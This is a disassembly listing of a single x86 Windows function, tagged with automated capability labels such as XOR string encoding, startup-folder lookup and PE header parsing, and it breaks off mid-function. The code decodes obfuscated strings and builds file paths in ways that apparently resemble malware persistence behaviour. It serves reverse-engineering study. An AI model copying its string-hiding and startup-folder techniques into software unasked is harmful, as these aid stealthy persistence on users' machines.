Function at 0x4354b0
Capabilities:
Encode data using xor
Get common file path
Get startup folder
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5252db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x4d8
push esi
mov esi, ecx
mov byte [ebp - 0x15], dl
mov dword [ebp - 0x190], esi
push edi
mov dword [ebp - 0x14], 1
mov dword [ebp - 4], 0
push ecx
call fcn.00480ed0
mov byte [ebp - 4], 3
sub esp, 0x10
movaps xmm0, xmmword [0x548480]
mov ecx, esp
mov dword [ebp - 0x20], esp
mov edi, 1
sub esp, 8
mov dword [ebp - 0x14], edi
mov eax, esp
mov byte [ebp - 0x4d], 0xe0
movups xmmword [ebp - 0x4c], xmm0
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00480ea0
add esp, 8
mov dword [ebp - 4], 4
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4d], al
inc ecx
cmp ecx, 7
jb 0x435550
lea eax, [ebp - 0x4d]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0xc8]
mov byte [ebp - 0x46], 0
call fcn.00402ab0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xc8]
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00486ff0
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.00480b20
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 3
call fcn.00402a10
push 0x104
lea eax, [ebp - 0x4e8]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x4e8]
push eax
movzx eax, byte [ebp - 0x15]
xor eax, 1
push 0
push 0
lea eax, [eax*2 + 0x1a]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebx + 0x10]
push eax
lea edx, [ebp - 0x4e8]
lea ecx, [ebp - 0x170]
call fcn.00486de0
add esp, 4
mov dword [ebp - 4], 7
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0
cmp byte [ebx + 8], 0
mov byte [ebp - 4], 8
jne 0x435941
sub esp, 0x18
lea eax, [ebp - 0x170]
mov ecx, esp
push eax
call fcn.00483010
push 0
mov dl, 1
lea ecx, [ebp - 0xd4]
call fcn.00427910
add esp, 0x1c
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 9
call fcn.00481ca0
test eax, eax
jne 0x4356a9
call fcn.00485200
lea ecx, [ebp - 0xac]
call fcn.00485200
lea ecx, [ebp - 0x170]
call fcn.00402a10
lea ecx, [ebx + 0x10]
call fcn.00402a10
lea ecx, [ebx + 0x28]
call fcn.00402a10
lea ecx, [ebx + 0x40]
call fcn.00402a10
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
xor esi, esi
mov dword [ebp - 0x1c], esi
call fcn.00481ca0
test eax, eax
je 0x435930
nop dword [eax + eax]
cmp byte [ebx + 0xc], 0
je 0x435720
movaps xmm0, xmmword [0x547920]
xor ecx, ecx
mov word [ebp - 0x4e], 0xc6db
movups xmmword [ebp - 0x4c], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4e], al
inc ecx
cmp ecx, 8
jb 0x4356e0
lea eax, [ebp - 0x4e]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x2c8]
mov byte [ebp - 0x46], 0
call fcn.00402ab0
or edi, 2
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x2c8]
mov dword [ebp - 0x14], edi
call fcn.00402b50
mov edi, eax
jmp 0x435725
mov edi, 0x5424b0
push esi
lea ecx, [ebp - 0xd4]
call fcn.00481c80
xorps xmm0, xmm0
mov dword [ebp - 0x88], eax
mov byte [ebp - 0x7b], 0xdb
xor ecx, ecx
movq qword [ebp - 0x7a], xmm0
mov word [ebp - 0x72], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x7b], al
inc ecx
cmp ecx, 1
jb 0x435750
lea eax, [ebp - 0x7b]
mov dword [0x55d620], ecx
push eax
lea ecx, [ebp - 0xc8]
mov byte [ebp - 0x7a], 0
call fcn.00402ab0
lea ecx, [ebp - 0xc8]
mov dword [ebp - 4], 0xb
call fcn.00402b50
push eax
lea edx, [ebp - 0x170]
lea ecx, [ebp - 0x218]
call fcn.00486d20
add esp, 4
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x188]
push dword [ebp - 0x88]
mov edx, eax
call fcn.00486f40
sub esp, 0x14
mov byte [ebp - 4], 0xd
mov ecx, esp
mov edx, eax
push edi
call fcn.00486d80
add esp, 4
lea ecx, [ebp - 0xe0]
xor dl, dl
push 0
call fcn.00427910
add esp, 0x1c
lea ecx, [ebp - 0x188]
call fcn.00402a10
lea ecx, [ebp - 0x218]
call fcn.00402a10
lea ecx, [ebp - 0xc8]
call fcn.00402a10
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x14]
test al, 2
je 0x435818
and eax, 0xfffffffd
lea ecx, [ebp - 0x2c8]
mov dword [ebp - 0x14], eax
call fcn.00402a10
lea ecx, [ebp - 0xe0]
call fcn.00481ca0
test eax, eax
je 0x435907
mov ecx, dword [ebp - 0xdc]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xe0]
xor edi, edi
imul ecx
mov dword [ebp - 0x58], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x435907
push edi
lea ecx, [ebp - 0xe0]
call fcn.00481c80
push 0
lea ecx, [ebx + 0x28]
push ecx
mov ecx, eax
call fcn.00482b30
cmp eax, 0xffffffff
je 0x4358de
lea ecx, [ebp - 0xac]
xor edi, edi
call fcn.00481ca0
mov dword [ebp - 0x88], eax
test eax, eax
je 0x4358c3
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0xd4]
call fcn.00481c80
push edi
lea ecx, [ebp - 0xac]
mov esi, eax
call fcn.00481c80
mov edx, esi
mov ecx, eax
call fcn.00486fc0
mov esi, dword [ebp - 0x1c]
test al, al
jne 0x4358db
inc edi
cmp edi, dword [ebp - 0x88]
jb 0x435890
push esi
lea ecx, [ebp - 0xd4]
call fcn.00481c80
push eax
lea ecx, [ebp - 0xac]
call fcn.00481d60
mov edi, dword [ebp - 0x58]
mov ecx, dword [ebp - 0xdc]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xe0]
inc edi
imul ecx
mov dword [ebp - 0x58], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x435853
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 9
call fcn.00485200
inc esi
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0x1c], esi
call fcn.00481ca0
mov edi, dword [ebp - 0x14]
cmp esi, eax
jb 0x4356c0
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 8
call fcn.00485200
jmp 0x435976
push 0x5424b0
lea ecx, [ebp - 0xc8]
call fcn.00402ab0
lea eax, [ebp - 0xc8]
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0xac]
call fcn.00481d00
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 8
call fcn.00402a10
lea ecx, [ebp - 0xac]
call fcn.00481ca0
test eax, eax
jne 0x4359ba
push 0x5424b0
lea ecx, [ebp - 0xc8]
call fcn.00402ab0
lea eax, [ebp - 0xc8]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0xac]
call fcn.00481d00
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 8
call fcn.00402a10
xorps xmm0, xmm0
mov byte [ebp - 0x7b], 0xdb
movq qword [ebp - 0x7a], xmm0
xor ecx, ecx
mov word [ebp - 0x72], 0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x7b], al
inc ecx
cmp ecx, 1
jb 0x4359d0
lea eax, [ebp - 0x7b]
mov dword [0x55d620], ecx
push eax
lea ecx, [ebp - 0xc8]
mov byte [ebp - 0x7a], 0
call fcn.00402ab0
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x15
call fcn.00402b50
push eax
lea edx, [ebp - 0x170]
lea ecx, [ebp - 0x188]
call fcn.00486d20
sub esp, 0x14
mov byte [ebp - 4], 0x16
lea edx, [ebx + 0x40]
mov ecx, esp
push edx
mov edx, eax
call fcn.00486f40
add esp, 4
call fcn.0040da60
add esp, 0x18
mov byte [ebp - 0x15], al
lea ecx, [ebp - 0x188]
call fcn.00402a10
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 8
call fcn.00402a10
cmp byte [ebp - 0x15], 0
jne 0x435b87
movaps xmm0, xmmword [0x549d90]
xor ecx, ecx
movups xmmword [ebp - 0x134], xmm0
mov word [ebp - 0x11c], 0
xorps xmm0, xmm0
movq qword [ebp - 0x124], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x134], al
inc ecx
cmp ecx, 0x10
jb 0x435a82
lea eax, [ebp - 0x134]
mov dword [0x55d628], ecx
push eax
lea ecx, [ebp - 0xc8]
mov byte [ebp - 0x124], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0xc8]
mov esi, esp
call fcn.00402b50
push eax
lea edx, [ebp - 0x170]
mov ecx, esi
call fcn.00486d20
add esp, 4
call fcn.0040da60
add esp, 0x18
mov byte [ebp - 0x15], al
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 8
call fcn.00402a10
cmp byte [ebp - 0x15], 0
je 0x435b87
movaps xmm0, xmmword [0x5482f0]
xor ecx, ecx
mov dword [ebp - 0x133], 0xebeae7cb
mov dword [ebp - 0x12f], 0xebffdce7
mov byte [ebp - 0x12b], 0xe9
movups xmmword [ebp - 0x12a], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x133], al
inc ecx
cmp ecx, 0xf
jb 0x435b30
lea eax, [ebp - 0x133]
mov dword [0x55d558], ecx
push eax
lea ecx, [ebp - 0xc8]
mov byte [ebp - 0x124], 0
call fcn.00402ab0
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x18
call fcn.00402b50
push eax
lea ecx, [ebx + 0x40]
call fcn.00482e30
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 8
call fcn.00402a10
xorps xmm0, xmm0
mov byte [ebp - 0x7b], 0xdb
movq qword [ebp - 0x7a], xmm0
xor ecx, ecx
mov word [ebp - 0x72], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x7b], al
inc ecx
cmp ecx, 1
jb 0x435ba0
lea eax, [ebp - 0x7b]
mov dword [0x55d620], ecx
push eax
lea ecx, [ebp - 0xc8]
mov byte [ebp - 0x7a], 0
call fcn.00402ab0
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x19
call fcn.00402b50
push eax
lea edx, [ebp - 0x170]
lea ecx, [ebp - 0x188]
call fcn.00486d20
sub esp, 0x14
mov byte [ebp - 4], 0x1a
lea edx, [ebx + 0x40]
mov ecx, esp
push edx
mov edx, eax
call fcn.00486f40
add esp, 4
lea ecx, [ebp - 0x30c]
call fcn.0040d3d0
add esp, 0x18
lea ecx, [ebp - 0x188]
call fcn.00402a10
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x1d
call fcn.00402a10
push 0x5424b0
lea ecx, [ebp - 0x2c8]
call fcn.00402ab0
mov byte [ebp - 4], 0x1e
cmp dword [ebp - 0x2fc], 0
je 0x435f1b
sub esp, 0x28
lea edx, [ebp - 0x30c]
mov eax, esp
lea ecx, [ebp - 0x148]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.00487220
add esp, 0x30
mov byte [ebp - 4], 0x1f
xor ecx, ecx
movaps xmm0, xmmword [0x5482c0]
mov word [ebp - 0x4e], 0xfbe8
movups xmmword [ebp - 0x4c], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4e], al
inc ecx
cmp ecx, 8
jb 0x435c83
lea eax, [ebp - 0x4e]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x118]
mov byte [ebp - 0x46], 0
call fcn.00402ab0
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x118]
or edi, 4
mov dword [ebp - 0x14], edi
call fcn.00402b50
push eax
lea ecx, [ebp - 0x148]
call fcn.00486ff0
cmp byte [eax], 0
je 0x435da2
movaps xmm0, xmmword [0x5482c0]
xor ecx, ecx
mov word [ebp - 0x4e], 0xfbe8
movups xmmword [ebp - 0x4c], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4e], al
inc ecx
cmp ecx, 8
jb 0x435ce7
lea eax, [ebp - 0x4e]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0xa0]
mov byte [ebp - 0x46], 0
call fcn.00402ab0
mov dword [ebp - 4], 0x21
lea ecx, [ebp - 0xa0]
or edi, 8
mov dword [ebp - 0x14], edi
call fcn.00402b50
push eax
lea ecx, [ebp - 0x148]
call fcn.00486ff0
movaps xmm0, xmmword [0x547c00]
mov esi, eax
mov dword [ebp - 0x37], 0xf8eae6e2
xor ecx, ecx
mov word [ebp - 0x33], 0xfcf2
mov byte [ebp - 0x31], 0xf9
movups xmmword [ebp - 0x30], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xd
jb 0x435d52
lea eax, [ebp - 0x37]
mov dword [0x55d57c], ecx
push eax
lea ecx, [ebp - 0xc8]
mov byte [ebp - 0x2a], 0
call fcn.00402ab0
mov dword [ebp - 4], 0x22
lea ecx, [ebp - 0xc8]
or edi, 0x10
mov dword [ebp - 0x14], edi
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00486ff0
mov byte [ebp - 0x15], 1
cmp byte [eax], 0
jne 0x435da6
mov byte [ebp - 0x15], 0
mov eax, dword [ebp - 0x14]
test al, 0x10
je 0x435dc1
and eax, 0xffffffef
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
test al, 8
je 0x435dd9
and eax, 0xfffffff7
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x1f
test al, 4
je 0x435df5
and eax, 0xfffffffb
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x14], eax
call fcn.00402a10
cmp byte [ebp - 0x15], 0
je 0x435f09
movaps xmm0, xmmword [0x5482c0]
xor ecx, ecx
mov word [ebp - 0x4e], 0xfbe8
movups xmmword [ebp - 0x4c], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4e], al
inc ecx
cmp ecx, 8
jb 0x435e12
lea eax, [ebp - 0x4e]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0xa0]
mov byte [ebp - 0x46], 0
call fcn.00402ab0
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x23
call fcn.00402b50
push eax
lea ecx, [ebp - 0x148]
call fcn.00486ff0
movaps xmm0, xmmword [0x547c00]
mov esi, eax
mov dword [ebp - 0x37], 0xf8eae6e2
xor ecx, ecx
mov word [ebp - 0x33], 0xfcf2
mov byte [ebp - 0x31], 0xf9
movups xmmword [ebp - 0x30], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xd
jb 0x435e74
lea eax, [ebp - 0x37]
mov dword [0x55d57c], ecx
push eax
lea ecx, [ebp - 0xc8]
mov byte [ebp - 0x2a], 0
call fcn.00402ab0
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x24
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00486ff0
lea ecx, [ebp - 0x218]
push ecx
mov ecx, eax
call fcn.00487130
mov edx, eax
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x188]
call fcn.004028f0
push eax
lea ecx, [ebp - 0x2c8]
call fcn.00482e90
lea ecx, [ebp - 0x188]
call fcn.00402a10
lea ecx, [ebp - 0x218]
call fcn.00402a10
lea ecx, [ebp - 0xc8]
call fcn.00402a10
lea ecx, [ebp - 0xa0]
call fcn.00402a10
lea ecx, [ebp - 0x148]
mov byte [ebp - 4], 0x1e
call fcn.00480b00
mov edi, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xa8]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xac]
imul ecx
mov dword [ebp - 0x58], 0
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x20], eax
je 0x437c76
cmp byte [ebx + 8], 0
je 0x435f70
push 0x5424b0
lea ecx, [ebp - 0x218]
call fcn.00402ab0
mov esi, eax
mov byte [ebp - 4], 0x26
or dword [ebp - 0x14], 0x20
mov edi, dword [ebp - 0x14]
jmp 0x43600b
xorps xmm0, xmm0
mov byte [ebp - 0x1c0], 0xdb
movq qword [ebp - 0x1bf], xmm0
xor ecx, ecx
mov word [ebp - 0x1b7], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1c0], al
inc ecx
cmp ecx, 1
jb 0x435f90
lea eax, [ebp - 0x1c0]
mov dword [0x55d620], ecx
push eax
lea ecx, [ebp - 0x118]
mov byte [ebp - 0x1bf], 0
call fcn.00402ab0
mov dword [ebp - 4], 0x27
lea ecx, [ebp - 0x118]
or edi, 0x40
mov dword [ebp - 0x14], edi
call fcn.00402b50
push dword [ebp - 0x58]
lea ecx, [ebp - 0xac]
mov esi, eax
call fcn.00481c80
push esi
mov edx, eax
lea ecx, [ebp - 0x188]
call fcn.00486d20
add esp, 4
mov esi, eax
or edi, 0x80
mov dword [ebp - 4], 0x28
mov dword [ebp - 0x14], edi
xorps xmm0, xmm0
mov byte [ebp - 0x1cb], 0xdb
movq qword [ebp - 0x1ca], xmm0
xor ecx, ecx
mov word [ebp - 0x1c2], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1cb], al
inc ecx
cmp ecx, 1
jb 0x436030
lea eax, [ebp - 0x1cb]
mov dword [0x55d620], ecx
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x1ca], 0
call fcn.00402ab0
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0x29
call fcn.00402b50
push eax
lea edx, [ebp - 0x170]
lea ecx, [ebp - 0xa0]
call fcn.00486d20
add esp, 4
push esi
push eax
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x70]
push dword [ebp - 0x20]
call fcn.0048a830
or edi, 0x8000000
mov dword [ebp - 0x14], edi
sub esp, 0x18
mov byte [ebp - 4], 0x2b
mov esi, esp
lea eax, [ebx + 0x40]
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x80], esi
push eax
call fcn.00482d90
xorps xmm0, xmm0
or edi, 0x10000000
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x14], edi
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0040da60
add esp, 0x18
mov byte [ebp - 4], 0x2a
mov ecx, dword [ebp - 0x5c]
test al, al
sete byte [ebp - 0x15]
cmp ecx, 0x10
jb 0x436137
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43612d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
cmp ecx, 0x10
jb 0x436187
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43617d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
cmp ecx, 0x10
jb 0x4361da
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4361d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
test al, al
jns 0x436209
and eax, 0xffffff7f
lea ecx, [ebp - 0x188]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
test al, 0x40
je 0x436221
and eax, 0xffffffbf
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x1e
test al, 0x20
je 0x43623d
and eax, 0xffffffdf
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x14], eax
call fcn.00402a10
cmp byte [ebp - 0x15], 0
je 0x436547
xor ecx, ecx
cmp byte [ebx + 8], cl
je 0x4362e5
movaps xmm0, xmmword [0x5482f0]
mov dword [ebp - 0xfc], 0xebeae7cb
mov dword [ebp - 0xf8], 0xebffdce7
mov byte [ebp - 0xf4], 0xe9
movups xmmword [ebp - 0xf3], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xfc], al
inc ecx
cmp ecx, 0xf
jb 0x436280
lea eax, [ebp - 0xfc]
mov dword [0x55d558], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0xed], 0
call fcn.00402ab0
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x70]
mov edi, dword [ebp - 0x14]
or edi, 0x100
mov dword [ebp - 0x14], edi
call fcn.00402b50
push eax
lea ecx, [ebp - 0x278]
call fcn.00402ab0
mov esi, eax
mov dword [ebp - 4], 0x2d
or edi, 0x200
jmp 0x43638e
movaps xmm0, xmmword [0x549d90]
movups xmmword [ebp - 0x2f4], xmm0
mov word [ebp - 0x2dc], 0
xorps xmm0, xmm0
movq qword [ebp - 0x2e4], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2f4], al
inc ecx
cmp ecx, 0x10
jb 0x436310
lea eax, [ebp - 0x2f4]
mov dword [0x55d628], ecx
push eax
lea ecx, [ebp - 0x118]
mov byte [ebp - 0x2e4], 0
call fcn.00402ab0
mov dword [ebp - 4], 0x2e
lea ecx, [ebp - 0x118]
mov edi, dword [ebp - 0x14]
or edi, 0x400
mov dword [ebp - 0x14], edi
call fcn.00402b50
push dword [ebp - 0x58]
lea ecx, [ebp - 0xac]
mov esi, eax
call fcn.00481c80
push esi
mov edx, eax
lea ecx, [ebp - 0x218]
call fcn.00486d20
add esp, 4
mov esi, eax
mov dword [ebp - 4], 0x2f
or edi, 0x800
xorps xmm0, xmm0
mov dword [ebp - 0x14], edi
mov byte [ebp - 0x1d6], 0xdb
xor ecx, ecx
movq qword [ebp - 0x1d5], xmm0
mov word [ebp - 0x1cd], 0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1d6], al
inc ecx
cmp ecx, 1
jb 0x4363b0
lea eax, [ebp - 0x1d6]
mov dword [0x55d620], ecx
push eax
lea ecx, [ebp - 0xa0]
mov byte [ebp - 0x1d5], 0
call fcn.00402ab0
lea ecx, [ebp - 0xa0]
mov dword [ebp - 4], 0x30
call fcn.00402b50
push eax
lea edx, [ebp - 0x170]
lea ecx, [ebp - 0x188]
call fcn.00486d20
sub esp, 0x14
mov byte [ebp - 4], 0x31
mov ecx, esp
mov edx, eax
push esi
call fcn.00486fa0
add esp, 4
call fcn.0040da60
add esp, 0x18
mov byte [ebp - 0x15], al
lea ecx, [ebp - 0x188]
call fcn.00402a10
lea ecx, [ebp - 0xa0]
call fcn.00402a10
mov eax, dword [ebp - 0x14]
test eax, 0x800
je 0x436459
and eax, 0xfffff7ff
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
test eax, 0x400
je 0x436476
and eax, 0xfffffbff
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
test eax, 0x200
je 0x436493
and eax, 0xfffffdff
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x1e
test eax, 0x100
je 0x4364b1
and eax, 0xfffffeff
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x14], eax
call fcn.00402a10
cmp byte [ebp - 0x15], 0
je 0x436547
movaps xmm0, xmmword [0x5482f0]
xor ecx, ecx
mov dword [ebp - 0xfc], 0xebeae7cb
mov dword [ebp - 0xf8], 0xebffdce7
mov byte [ebp - 0xf4], 0xe9
movups xmmword [ebp - 0xf3], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xfc], al
inc ecx
cmp ecx, 0xf
jb 0x4364f0
lea eax, [ebp - 0xfc]
mov dword [0x55d558], ecx
push eax
lea ecx, [ebp - 0xa0]
mov byte [ebp - 0xed], 0
call fcn.00402ab0
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x32
call fcn.00402b50
push eax
lea ecx, [ebx + 0x40]
call fcn.00482e30
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x1e
call fcn.00402a10
cmp byte [ebx + 8], 0
je 0x436570
push 0x5424b0
lea ecx, [ebp - 0x218]
call fcn.00402ab0
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x33
or dword [ebp - 0x14], 0x1000
jmp 0x436612
xorps xmm0, xmm0
mov byte [ebp - 0xdf], 0xdb
movq qword [ebp - 0xde], xmm0
xor ecx, ecx
mov word [ebp - 0xd6], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xdf], al
inc ecx
cmp ecx, 1
jb 0x436590
lea eax, [ebp - 0xdf]
mov dword [0x55d620], ecx
push eax
lea ecx, [ebp - 0x118]
mov byte [ebp - 0xde], 0
call fcn.00402ab0
mov dword [ebp - 4], 0x34
lea ecx, [ebp - 0x118]
mov edi, dword [ebp - 0x14]
or edi, 0x2000
mov dword [ebp - 0x14], edi
call fcn.00402b50
push dword [ebp - 0x58]
lea ecx, [ebp - 0xac]
mov esi, eax
call fcn.00481c80
push esi
mov edx, eax
lea ecx, [ebp - 0x188]
call fcn.00486d20
add esp, 4
mov dword [ebp - 0x1c], eax
or edi, 0x4000
mov dword [ebp - 4], 0x35
mov dword [ebp - 0x14], edi
xorps xmm0, xmm0
mov byte [ebp - 0x19b], 0xdb
movq qword [ebp - 0x19a], xmm0
xor ecx, ecx
mov word [ebp - 0x192], 0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x19b], al
inc ecx
cmp ecx, 1
jb 0x436630
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x19b]
mov byte [ebp - 0x19a], 0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x24], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x436670
sub ecx, edx
lea eax, [ebp - 0x19b]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00402b80
mov dword [ebp - 4], 0x36
lea edx, [ebp - 0x38]
cmp dword [ebp - 0x24], 0x10
cmovae edx, dword [ebp - 0x38]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4366a0
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x160]
sub eax, esi
cmp eax, ecx
jb 0x437e78
cmp dword [ebp - 0x15c], 0x10
lea eax, [ebp - 0x170]
push ecx
cmovae eax, dword [ebp - 0x170]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xa0]
call fcn.0048aa20
mov byte [ebp - 4], 0x37
lea eax, [ebp - 0xa0]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x70]
push eax
push dword [ebp - 0x20]
call fcn.0048a830
mov byte [ebp - 4], 0x38
lea edx, [ebx + 0x40]
mov ecx, dword [ebx + 0x50]
sub esp, 0x18
cmp dword [ebx + 0x54], 0x10
mov edi, esp
mov esi, dword [ebp - 0x60]
cmovae edx, dword [ebx + 0x40]
mov eax, dword [ebp - 0x5c]
sub eax, esi
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x1c], esi
push ecx
push edx
cmp ecx, eax
ja 0x43675c
cmp dword [ebp - 0x5c], 0x10
lea eax, [ecx + esi]
mov dword [ebp - 0x60], eax
lea esi, [ebp - 0x70]
cmovae esi, dword [ebp - 0x70]
